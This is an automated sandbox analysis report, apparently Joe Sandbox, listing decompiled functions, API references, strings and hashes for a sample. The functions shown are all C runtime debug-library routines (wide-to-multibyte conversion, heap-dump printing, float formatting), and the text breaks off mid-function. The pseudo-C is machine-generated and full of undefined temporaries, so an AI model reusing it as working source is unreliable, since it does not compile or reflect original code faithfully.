HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.Memory allocated at %hs(%d)., xrefs: 0041D1CC
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d)., xrefs: 0041D12E
%hs located at 0x%p is %Iu bytes long.Memory allocated at %hs(%d)., xrefs: 0041D241

Memory Dump Source

Source File: 00000000.00000002.670247198.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.670233468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.670286127.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670302730.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670314812.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_tijXCZsbGe.jbxd

Similarity

API ID: BytesCheck
String ID: %hs located at 0x%p is %Iu bytes long.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.Memory allocated at %hs(%d).
API String ID: 1653226792-1867057952
Opcode ID: 7ac275f8fe3b7ff41d231405028f99a4cf14a7b426d7d4c509037e328ca49cc4
Instruction ID: fca625859419f40cacee2ca79700fba5bcdc203031db8d8f7e83e0cceafc678a
Opcode Fuzzy Hash: 7ac275f8fe3b7ff41d231405028f99a4cf14a7b426d7d4c509037e328ca49cc4
Instruction Fuzzy Hash: CC612FB4E402059BDB18CF84D885FBFB7B5AB48304F24815AE5156B3D5D279EC82CB68

Uniqueness

Uniqueness Score: -1.00%

Function 00437994, Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 115
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E00437994(signed int __eax) {
				intOrPtr _t45;
				void* _t50;
				signed int _t54;
				void* _t60;
				signed int _t67;
				signed int _t69;
				signed int _t71;
				signed int _t73;
				signed int _t79;
				void* _t80;
				void* _t81;
				void* _t82;
				void* _t84;
				void* _t85;
				void* _t94;

				_t85 = _t84 + 0x10;
				 *(_t82 - 0xc) = __eax;
				if( *(_t82 - 0xc) != 0xffffffff) {
					_t71 =  *(_t82 - 0xc) + 1;
					 *(_t82 - 0xc) = _t71;
					__eflags =  *(_t82 + 0xc);
					if( *(_t82 + 0xc) == 0) {
						L27:
						__eflags =  *(_t82 + 8);
						if( *(_t82 + 8) != 0) {
							 *( *(_t82 + 8)) =  *(_t82 - 0xc);
						}
						_t45 =  *((intOrPtr*)(_t82 - 4));
						L30:
						return _t45;
					}
					__eflags =  *(_t82 - 0xc) -  *(_t82 + 0x10);
					if( *(_t82 - 0xc) <=  *(_t82 + 0x10)) {
						L26:
						_t73 =  *(_t82 + 0xc) +  *(_t82 - 0xc);
						__eflags = _t73;
						 *((char*)(_t73 - 1)) = 0;
						goto L27;
					}
					__eflags =  *((intOrPtr*)(_t82 + 0x18)) - 0xffffffff;
					if( *((intOrPtr*)(_t82 + 0x18)) == 0xffffffff) {
						L25:
						 *(_t82 - 0xc) =  *(_t82 + 0x10);
						 *((intOrPtr*)(_t82 - 4)) = 0x50;
						goto L26;
					}
					 *( *(_t82 + 0xc)) = 0;
					__eflags =  *(_t82 + 0x10) - 0xffffffff;
					if( *(_t82 + 0x10) != 0xffffffff) {
						__eflags =  *(_t82 + 0x10) - 0x7fffffff;
						if( *(_t82 + 0x10) != 0x7fffffff) {
							__eflags =  *(_t82 + 0x10) - 1;
							if( *(_t82 + 0x10) > 1) {
								__eflags =  *0x440208 -  *(_t82 + 0x10) - 1; // 0xffffffff
								if(__eflags >= 0) {
									_t67 =  *(_t82 + 0x10) - 1;
									__eflags = _t67;
									 *(_t82 - 0x2c) = _t67;
								} else {
									_t54 =  *0x440208; // 0xffffffff
									 *(_t82 - 0x2c) = _t54;
								}
								_t71 =  *(_t82 - 0x2c);
								_t52 =  *(_t82 + 0xc) + 1;
								__eflags =  *(_t82 + 0xc) + 1;
								E0041B6B0(_t80, _t52, 0xfe, _t71);
								_t85 = _t85 + 0xc;
							}
						}
					}
					_t65 =  *(_t82 + 0x10);
					__eflags =  *(_t82 - 0xc) -  *(_t82 + 0x10);
					asm("sbb edx, edx");
					 *(_t82 - 0x18) =  ~_t71;
					if( *(_t82 - 0xc) ==  *(_t82 + 0x10)) {
						_push(L"sizeInBytes > retsize");
						_push(0);
						_push(0x157);
						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c");
						_push(2);
						_t50 = L0041E520();
						_t85 = _t85 + 0x14;
						__eflags = _t50 - 1;
						if(_t50 == 1) {
							asm("int3");
						}
					}
					__eflags =  *(_t82 - 0x18);
					if( *(_t82 - 0x18) != 0) {
						goto L25;
					} else {
						 *((intOrPtr*)(L00423010(_t65))) = 0x22;
						E00422DA0(_t60, _t65, _t80, _t81, L"sizeInBytes > retsize", L"_wcstombs_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c", 0x157, 0);
						_t45 = 0x22;
						goto L30;
					}
				}
				if( *(_t82 + 0xc) != 0) {
					 *( *(_t82 + 0xc)) = 0;
					if( *(_t82 + 0x10) != 0xffffffff &&  *(_t82 + 0x10) != 0x7fffffff &&  *(_t82 + 0x10) > 1) {
						_t94 =  *0x440208 -  *(_t82 + 0x10) - 1; // 0xffffffff
						if(_t94 >= 0) {
							_t79 =  *(_t82 + 0x10) - 1;
							__eflags = _t79;
							 *(_t82 - 0x28) = _t79;
						} else {
							_t69 =  *0x440208; // 0xffffffff
							 *(_t82 - 0x28) = _t69;
						}
						_t61 =  *(_t82 + 0xc) + 1;
						E0041B6B0(_t80,  *(_t82 + 0xc) + 1, 0xfe,  *(_t82 - 0x28));
					}
				}
				_t45 =  *((intOrPtr*)(L00423010(_t61)));
				goto L30;
			}

0x00437994
0x00437997
0x0043799e
0x00437a0a
0x00437a0d
0x00437a10
0x00437a14
0x00437b01
0x00437b01
0x00437b05
0x00437b0d
0x00437b0d
0x00437b0f
0x00437b12
0x00437b15
0x00437b15
0x00437a1d
0x00437a20
0x00437af7
0x00437afa
0x00437afa
0x00437afd
0x00000000
0x00437afd
0x00437a26
0x00437a2a
0x00437aea
0x00437aed
0x00437af0
0x00000000
0x00437af0
0x00437a33
0x00437a36
0x00437a3a
0x00437a3c
0x00437a43
0x00437a45
0x00437a49
0x00437a51
0x00437a57
0x00437a66
0x00437a66
0x00437a69
0x00437a59
0x00437a59
0x00437a5e
0x00437a5e
0x00437a6c
0x00437a78
0x00437a78
0x00437a7c
0x00437a81
0x00437a81
0x00437a49
0x00437a43
0x00437a84
0x00437a87
0x00437a8a
0x00437a8e
0x00437a91
0x00437a93
0x00437a98
0x00437a9a
0x00437a9f
0x00437aa4
0x00437aa6
0x00437aab
0x00437aae
0x00437ab1
0x00437ab3
0x00437ab3
0x00437ab1
0x00437ab4
0x00437ab8
0x00000000
0x00437aba
0x00437abf
0x00437adb
0x00437ae3
0x00000000
0x00437ae3
0x00437ab8
0x004379a4
0x004379a9
0x004379b0
0x004379c7
0x004379cd
0x004379dd
0x004379dd
0x004379e0
0x004379cf
0x004379cf
0x004379d5
0x004379d5
0x004379ef
0x004379f3
0x004379f8
0x004379b0
0x00437a00
0x00000000

APIs

_memset.LIBCMT ref: 004379F3
_memset.LIBCMT ref: 00437A7C
__invalid_parameter.LIBCMTD ref: 00437ADB

Strings

P, xrefs: 00437AF0
_wcstombs_s_l, xrefs: 00437AD1
f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c, xrefs: 00437A9F, 00437ACC
sizeInBytes > retsize, xrefs: 00437A93, 00437AD6

Memory Dump Source

Source File: 00000000.00000002.670247198.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.670233468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.670286127.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670302730.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670314812.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_tijXCZsbGe.jbxd

Similarity

API ID: _memset$__invalid_parameter
String ID: P$_wcstombs_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c$sizeInBytes > retsize
API String ID: 2178901135-56445615
Opcode ID: 2204f7727c2c59e3133f36f6879cc820111d96c6a5fc8189f08e1cc5fc0f4c24
Instruction ID: d7c92e682a8f210b2d59606c5083cf06eacbf5489bd7c866b516462d317b651b
Opcode Fuzzy Hash: 2204f7727c2c59e3133f36f6879cc820111d96c6a5fc8189f08e1cc5fc0f4c24
Instruction Fuzzy Hash: 4C41BFB0A04309EFCB24DF68C8457AE7771FB48319F10966AE8A41B3D0D3799A51CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0041DA77, Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 81
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E0041DA77() {
				intOrPtr _t54;
				void* _t61;
				intOrPtr _t68;
				void* _t70;
				void* _t98;
				void* _t99;
				signed int _t100;
				void* _t102;
				void* _t105;

				L0:
				while(1) {
					L0:
					 *(_t100 - 4) =  *(_t100 - 4) + 1;
					if( *((intOrPtr*)( *((intOrPtr*)(_t100 + 0xc)) + 0x10)) >= 0x10) {
						 *((intOrPtr*)(_t100 - 0x6c)) = 0x10;
					} else {
						_t6 =  *((intOrPtr*)(_t100 + 0xc)) + 0x10; // 0x2
						 *((intOrPtr*)(_t100 - 0x6c)) =  *_t6;
					}
					if( *(_t100 - 4) >=  *((intOrPtr*)(_t100 - 0x6c))) {
						break;
					}
					L5:
					 *(_t100 - 0x61) =  *((intOrPtr*)( *((intOrPtr*)(_t100 + 0xc)) +  *(_t100 - 4) + 0x20));
					if(E0041AFF0(_t100 - 0x60) == 0 ||  *((intOrPtr*)( *((intOrPtr*)(E0041AFF0(_t100 - 0x60))) + 0xac)) <= 1) {
						_t54 = E004231A0(E0041AFF0(_t100 - 0x60),  *(_t100 - 0x61) & 0x000000ff, 0x157);
						_t105 = _t102 + 0xc;
						 *((intOrPtr*)(_t100 - 0x70)) = _t54;
					} else {
						_t68 = E00423250(_t70, _t98, _t99,  *(_t100 - 0x61) & 0x000000ff, 0x157, E0041AFF0(_t100 - 0x60));
						_t105 = _t102 + 0xc;
						 *((intOrPtr*)(_t100 - 0x70)) = _t68;
					}
					if( *((intOrPtr*)(_t100 - 0x70)) == 0) {
						 *(_t100 - 0x74) = 0x20;
					} else {
						 *(_t100 - 0x74) =  *(_t100 - 0x61) & 0x000000ff;
					}
					 *((char*)(_t100 +  *(_t100 - 4) - 0x50)) =  *(_t100 - 0x74);
					 *((intOrPtr*)(_t100 - 0x68)) =  *((intOrPtr*)(L00423010( *(_t100 - 0x74))));
					 *((intOrPtr*)(L00423010( *(_t100 - 0x74)))) = 0;
					_t84 = _t100 +  *(_t100 - 4) * 3 - 0x3c;
					_t61 = E0042BED0(_t100 +  *(_t100 - 4) * 3 - 0x3c, _t100 +  *(_t100 - 4) * 3 - 0x3c, 0x31 -  *(_t100 - 4) * 3, "%.2X ",  *(_t100 - 0x61) & 0x000000ff);
					_t102 = _t105 + 0x10;
					if(_t61 < 0) {
						E0041DBF0( *((intOrPtr*)(L00423010(_t84))), 0x16, 0x22, L"(*_errno())", L"_printMemBlockData", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgheap.c", 0x963, 0);
						_t102 = _t102 + 0x20;
					}
					 *((intOrPtr*)(L00423010(_t84))) =  *((intOrPtr*)(_t100 - 0x68));
				}
				L15:
				_t91 =  *(_t100 - 4);
				 *((char*)(_t100 +  *(_t100 - 4) - 0x50)) = 0;
				_push(_t100 - 0x3c);
				if(L004297F0(0, 0, 0, 0, " Data: <%s> %s\n", _t100 - 0x50) == 1) {
					asm("int3");
				}
				return E0042BF30(E0041AFC0(_t100 - 0x60), _t70,  *(_t100 - 8) ^ _t100, _t91, _t98, _t99);
			}

0x0041da77
0x0041da77
0x0041da77
0x0041da7d
0x0041da87
0x0041da94
0x0041da89
0x0041da8c
0x0041da8f
0x0041da8f
0x0041daa1
0x00000000
0x00000000
0x0041daa7
0x0041dab0
0x0041dabd
0x0041db05
0x0041db0a
0x0041db0d
0x0041dad2
0x0041dae5
0x0041daea
0x0041daed
0x0041daed
0x0041db14
0x0041db1f
0x0041db16
0x0041db1a
0x0041db1a
0x0041db2c
0x0041db37
0x0041db3f
0x0041db63
0x0041db68
0x0041db6d
0x0041db72
0x0041db96
0x0041db9b
0x0041db9b
0x0041dba6
0x0041dba6
0x0041dbad
0x0041dbad
0x0041dbb0
0x0041dbb8
0x0041dbd5
0x0041dbd7
0x0041dbd7
0x0041dbed

APIs

__isctype_l.LIBCMTD ref: 0041DAE5
_swprintf_s.LIBCMTD ref: 0041DB68
__invoke_watson_if_oneof.LIBCMTD ref: 0041DB96

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041DB7B
_printMemBlockData, xrefs: 0041DB80
%.2X , xrefs: 0041DB4A
(*_errno()), xrefs: 0041DB85

Memory Dump Source

Source File: 00000000.00000002.670247198.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.670233468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.670286127.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670302730.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670314812.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_tijXCZsbGe.jbxd

Similarity

API ID: __invoke_watson_if_oneof__isctype_l_swprintf_s
String ID: %.2X $(*_errno())$_printMemBlockData$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 4289034949-3158630120
Opcode ID: 2dfadc3edf15cc60d98a5a6d0a46bd977f1a520340626b067ea881b9dd657b84
Instruction ID: 006ea86797c2af1fb0e1eddd8cda3c3b4a10f562745f9d317dae778a4177c947
Opcode Fuzzy Hash: 2dfadc3edf15cc60d98a5a6d0a46bd977f1a520340626b067ea881b9dd657b84
Instruction Fuzzy Hash: 9531AFB0E08319DFDB08DFA1C991BEEB771AF44304F20456AE445AF286D778AE41DB58

Uniqueness

Uniqueness Score: -1.00%

Function 00429321, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 69fileCOMMON

Download Yara Rule

APIs

__set_error_mode.LIBCMTD ref: 00429388
__set_error_mode.LIBCMTD ref: 00429397
GetStdHandle.KERNEL32(000000F4), ref: 004293AE
_strlen.LIBCMT ref: 004293D4
WriteFile.KERNEL32(000000FF,00000000,00000000,00000000), ref: 004293EC

Strings

t/j, xrefs: 004293C1
jjj, xrefs: 00429370

Memory Dump Source

Source File: 00000000.00000002.670247198.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.670233468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.670286127.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670302730.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670314812.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_tijXCZsbGe.jbxd

Similarity

API ID: __set_error_mode$FileHandleWrite_strlen
String ID: jjj$t/j
API String ID: 1121076223-194299851
Opcode ID: c331c0df7c7021b8df4c5da78c8670990d92ef1808e56476a630b2dda6ffd25e
Instruction ID: 41052ac66e63f05a9efccc9cc238c4fd0bc8fb192296f3338d9333c5a2b94022
Opcode Fuzzy Hash: c331c0df7c7021b8df4c5da78c8670990d92ef1808e56476a630b2dda6ffd25e
Instruction Fuzzy Hash: A821A474A00218FBEB24CF89F985BAD7370EB59304F90416AE905532D1D3799F54DB8A

Uniqueness

Uniqueness Score: -1.00%

Function 0042EB70, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 61
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 59%

			E0042EB70(void* __ebx, void* __edi, void* __esi, void* __eflags, char _a4, intOrPtr* _a12, intOrPtr _a16, intOrPtr _a20) {
				signed int _v8;
				char _v32;
				char _v34;
				short _v36;
				short _v40;
				intOrPtr _v44;
				char _v48;
				signed int _t25;
				intOrPtr* _t29;
				signed int _t55;
				void* _t56;

				_t25 =  *0x440354; // 0x48304d0a
				_v8 = _t25 ^ _t55;
				E0042EC20( &_v48,  &_a4);
				_push( &_v36);
				_push(0);
				_t29 = _t56 + 8 - 0xc;
				 *_t29 = _v48;
				 *((intOrPtr*)(_t29 + 4)) = _v44;
				 *((short*)(_t29 + 8)) = _v40;
				 *((intOrPtr*)(_a12 + 8)) = E00438FB0(__ebx, __edi, __esi);
				 *_a12 = _v34;
				 *((intOrPtr*)(_a12 + 4)) = _v36;
				E0041E160(E0041DCE0(__ebx,  &_v32, __esi, _a16, _a20,  &_v32), _t34, L"strcpy_s(resultstr, resultsize, autofos.man)", L"_fltout2", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\prebuild\\conv\\cfout.c", 0x2e, 0);
				 *((intOrPtr*)(_a12 + 0xc)) = _a16;
				return E0042BF30(_a12, __ebx, _v8 ^ _t55, _a16, __edi, __esi, 0x11);
			}

0x0042eb78
0x0042eb7f
0x0042eb8a
0x0042eb95
0x0042eb96
0x0042eb9d
0x0042eba2
0x0042eba7
0x0042ebae
0x0042ebbd
0x0042ebc7
0x0042ebd0
0x0042ebfb
0x0042ec09
0x0042ec1c

APIs

___dtold.LIBCMTD ref: 0042EB8A
_$I10_OUTPUT.LIBCMTD ref: 0042EBB2
_wcscpy_s.LIBCMTD ref: 0042EBF2

Part of subcall function 0041DCE0: __invalid_parameter.LIBCMTD ref: 0041DD52

__invoke_watson_if_error.LIBCMTD ref: 0042EBFB

Strings

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\cfout.c, xrefs: 0042EBD7
strcpy_s(resultstr, resultsize, autofos.man), xrefs: 0042EBE1
_fltout2, xrefs: 0042EBDC

Memory Dump Source

Source File: 00000000.00000002.670247198.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.670233468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.670286127.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670302730.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.670314812.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_tijXCZsbGe.jbxd

Similarity

API ID: I10____dtold__invalid_parameter__invoke_watson_if_error_wcscpy_s
String ID: _fltout2$f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\cfout.c$strcpy_s(resultstr, resultsize, autofos.man)
API String ID: 289039318-2574656408
Opcode ID: 9310186701122babdfd1d335eb1ea419196f865c61139f30aec88877eaa88238
Instruction ID: bf1ac7c6972f00023fcd4ac3b0a69e10efe17f4ea8aad0ce4ff092c5e7b7088a
Opcode Fuzzy Hash: 9310186701122babdfd1d335eb1ea419196f865c61139f30aec88877eaa88238
Instruction Fuzzy Hash: F2214DB5A003089BCB04DF65DC42ADEB7B5EF8C704F14855AF80567381E674E911CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00435227, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E00435227(void* __ebx, void* __edi, void* __esi) {
				signed int _t499;
				void* _t504;
				signed int _t506;
				void* _t526;
				void* _t528;
				signed int _t536;
				void* _t555;
				void* _t556;
				signed int _t557;
				void* _t559;

				L0:
				while(1) {
					L0:
					_t556 = __esi;
					_t555 = __edi;
					_t528 = __ebx;
					 *((intOrPtr*)(_t557 - 0x260)) = 0x27;
					while(1) {
						L148:
						 *(__ebp - 8) = 0x10;
						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
						__eflags =  *(__ebp - 0x10) & 0x00000080;
						if(( *(__ebp - 0x10) & 0x00000080) != 0) {
							 *(__ebp - 0x14) = 0x30;
							 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
							__eflags =  *(__ebp - 0x260) + 0x51;
							 *((char*)(__ebp - 0x13)) = __al;
							 *(__ebp - 0x1c) = 2;
						}
						while(1) {
							L153:
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
							__eflags =  *(__ebp - 0x10) & 0x00008000;
							if(( *(__ebp - 0x10) & 0x00008000) == 0) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
								__eflags =  *(__ebp - 0x10) & 0x00001000;
								if(( *(__ebp - 0x10) & 0x00001000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
									__eflags =  *(__ebp - 0x10) & 0x00000020;
									if(( *(__ebp - 0x10) & 0x00000020) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
										__eflags =  *(__ebp - 0x10) & 0x00000040;
										if(( *(__ebp - 0x10) & 0x00000040) == 0) {
											__ecx = __ebp + 0x14;
											__eax = E004285E0(__ebp + 0x14);
											__edx = 0;
											__eflags = 0;
											 *(__ebp - 0x2b8) = __eax;
											 *(__ebp - 0x2b4) = 0;
										} else {
											__eax = __ebp + 0x14;
											__eax = E004285E0(__ebp + 0x14);
											asm("cdq");
											 *(__ebp - 0x2b8) = __eax;
											 *(__ebp - 0x2b4) = __edx;
										}
									} else {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
										__eflags =  *(__ebp - 0x10) & 0x00000040;
										if(( *(__ebp - 0x10) & 0x00000040) == 0) {
											__ecx = __ebp + 0x14;
											E004285E0(__ebp + 0x14) = __ax & 0x0000ffff;
											asm("cdq");
											 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
											 *(__ebp - 0x2b4) = __edx;
										} else {
											__eax = __ebp + 0x14;
											__eax = E004285E0(__ebp + 0x14);
											__ax = __eax;
											asm("cdq");
											 *(__ebp - 0x2b8) = __eax;
											 *(__ebp - 0x2b4) = __edx;
										}
									}
								} else {
									__eax = __ebp + 0x14;
									 *(__ebp - 0x2b8) = E00428600(__ebp + 0x14);
									 *(__ebp - 0x2b4) = __edx;
								}
							} else {
								__ecx = __ebp + 0x14;
								 *(__ebp - 0x2b8) = E00428600(__ebp + 0x14);
								 *(__ebp - 0x2b4) = __edx;
							}
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
							__eflags =  *(__ebp - 0x10) & 0x00000040;
							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
								goto L170;
							}
							L166:
							__eflags =  *(__ebp - 0x2b4);
							if(__eflags > 0) {
								goto L170;
							}
							L167:
							if(__eflags < 0) {
								L169:
								 *(__ebp - 0x2b8) =  ~( *(__ebp - 0x2b8));
								__edx =  *(__ebp - 0x2b4);
								asm("adc edx, 0x0");
								__edx =  ~( *(__ebp - 0x2b4));
								 *(__ebp - 0x2c0) =  ~( *(__ebp - 0x2b8));
								 *(__ebp - 0x2bc) =  ~( *(__ebp - 0x2b4));
								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
								L171:
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
								__eflags =  *(__ebp - 0x10) & 0x00008000;
								if(( *(__ebp - 0x10) & 0x00008000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
									__eflags =  *(__ebp - 0x10) & 0x00001000;
									if(( *(__ebp - 0x10) & 0x00001000) == 0) {
										__edx =  *(__ebp - 0x2c0);
										__eax =  *(__ebp - 0x2bc);
										__eax =  *(__ebp - 0x2bc) & 0x00000000;
										__eflags = __eax;
										 *(__ebp - 0x2bc) = __eax;
									}
								}
								__eflags =  *(__ebp - 0x30);
								if( *(__ebp - 0x30) >= 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
									__eflags =  *(__ebp - 0x30) - 0x200;
									if( *(__ebp - 0x30) > 0x200) {
										 *(__ebp - 0x30) = 0x200;
									}
								} else {
									 *(__ebp - 0x30) = 1;
								}
								 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
								__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
								if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
									 *(__ebp - 0x1c) = 0;
								}
								__eax = __ebp - 0x49;
								 *(__ebp - 4) = __ebp - 0x49;
								while(1) {
									L181:
									__ecx =  *(__ebp - 0x30);
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) > 0) {
										goto L183;
									}
									L182:
									 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
									__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
									if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
										L186:
										__ebp - 0x49 = __ebp - 0x49 -  *(__ebp - 4);
										 *(__ebp - 0x24) = __ebp - 0x49 -  *(__ebp - 4);
										__ecx =  *(__ebp - 4);
										__ecx =  *(__ebp - 4) + 1;
										 *(__ebp - 4) = __ecx;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
										__eflags =  *(__ebp - 0x10) & 0x00000200;
										if(( *(__ebp - 0x10) & 0x00000200) == 0) {
											while(1) {
												L190:
												__eflags =  *(__ebp - 0x28);
												if( *(__ebp - 0x28) != 0) {
													goto L216;
												}
												L191:
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
												__eflags =  *(__ebp - 0x10) & 0x00000040;
												if(( *(__ebp - 0x10) & 0x00000040) != 0) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000100;
													__eflags =  *(__ebp - 0x10) & 0x00000100;
													if(( *(__ebp - 0x10) & 0x00000100) == 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000001;
														__eflags =  *(__ebp - 0x10) & 0x00000001;
														if(( *(__ebp - 0x10) & 0x00000001) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000002;
															__eflags =  *(__ebp - 0x10) & 0x00000002;
															if(( *(__ebp - 0x10) & 0x00000002) != 0) {
																 *(__ebp - 0x14) = 0x20;
																 *(__ebp - 0x1c) = 1;
															}
														} else {
															 *(__ebp - 0x14) = 0x2b;
															 *(__ebp - 0x1c) = 1;
														}
													} else {
														 *(__ebp - 0x14) = 0x2d;
														 *(__ebp - 0x1c) = 1;
													}
												}
												 *(__ebp - 0x18) =  *(__ebp - 0x18) -  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
												 *(__ebp - 0x2c4) =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x0000000c;
												__eflags =  *(__ebp - 0x10) & 0x0000000c;
												if(( *(__ebp - 0x10) & 0x0000000c) == 0) {
													__edx = __ebp - 0x24c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x2c4);
													__eax = E004285A0(0x20,  *(__ebp - 0x2c4),  *(__ebp + 8), __ebp - 0x24c);
												}
												__edx = __ebp - 0x24c;
												__eax =  *(__ebp + 8);
												__ecx =  *(__ebp - 0x1c);
												__edx = __ebp - 0x14;
												E004358F0( *(__ebp - 0x1c), __ebp - 0x14,  *(__ebp - 0x1c),  *(__ebp + 8), __ebp - 0x24c) =  *(__ebp - 0x10);
												__eax =  *(__ebp - 0x10) & 0x00000008;
												__eflags =  *(__ebp - 0x10) & 0x00000008;
												if(( *(__ebp - 0x10) & 0x00000008) != 0) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
													__eflags =  *(__ebp - 0x10) & 0x00000004;
													if(( *(__ebp - 0x10) & 0x00000004) == 0) {
														__edx = __ebp - 0x24c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x2c4);
														__eax = E004285A0(0x30,  *(__ebp - 0x2c4),  *(__ebp + 8), __ebp - 0x24c);
													}
												}
												__eflags =  *(__ebp - 0xc);
												if( *(__ebp - 0xc) == 0) {
													L212:
													__ecx = __ebp - 0x24c;
													__edx =  *(__ebp + 8);
													__eax =  *(__ebp - 0x24);
													__ecx =  *(__ebp - 4);
													__eax = E004358F0(__ecx, __ecx,  *(__ebp - 0x24),  *(__ebp + 8), __ebp - 0x24c);
													goto L213;
												} else {
													L204:
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) <= 0) {
														goto L212;
													}
													L205:
													 *(__ebp - 0x2dc) = 0;
													__edx =  *(__ebp - 4);
													 *(__ebp - 0x2c8) =  *(__ebp - 4);
													__eax =  *(__ebp - 0x24);
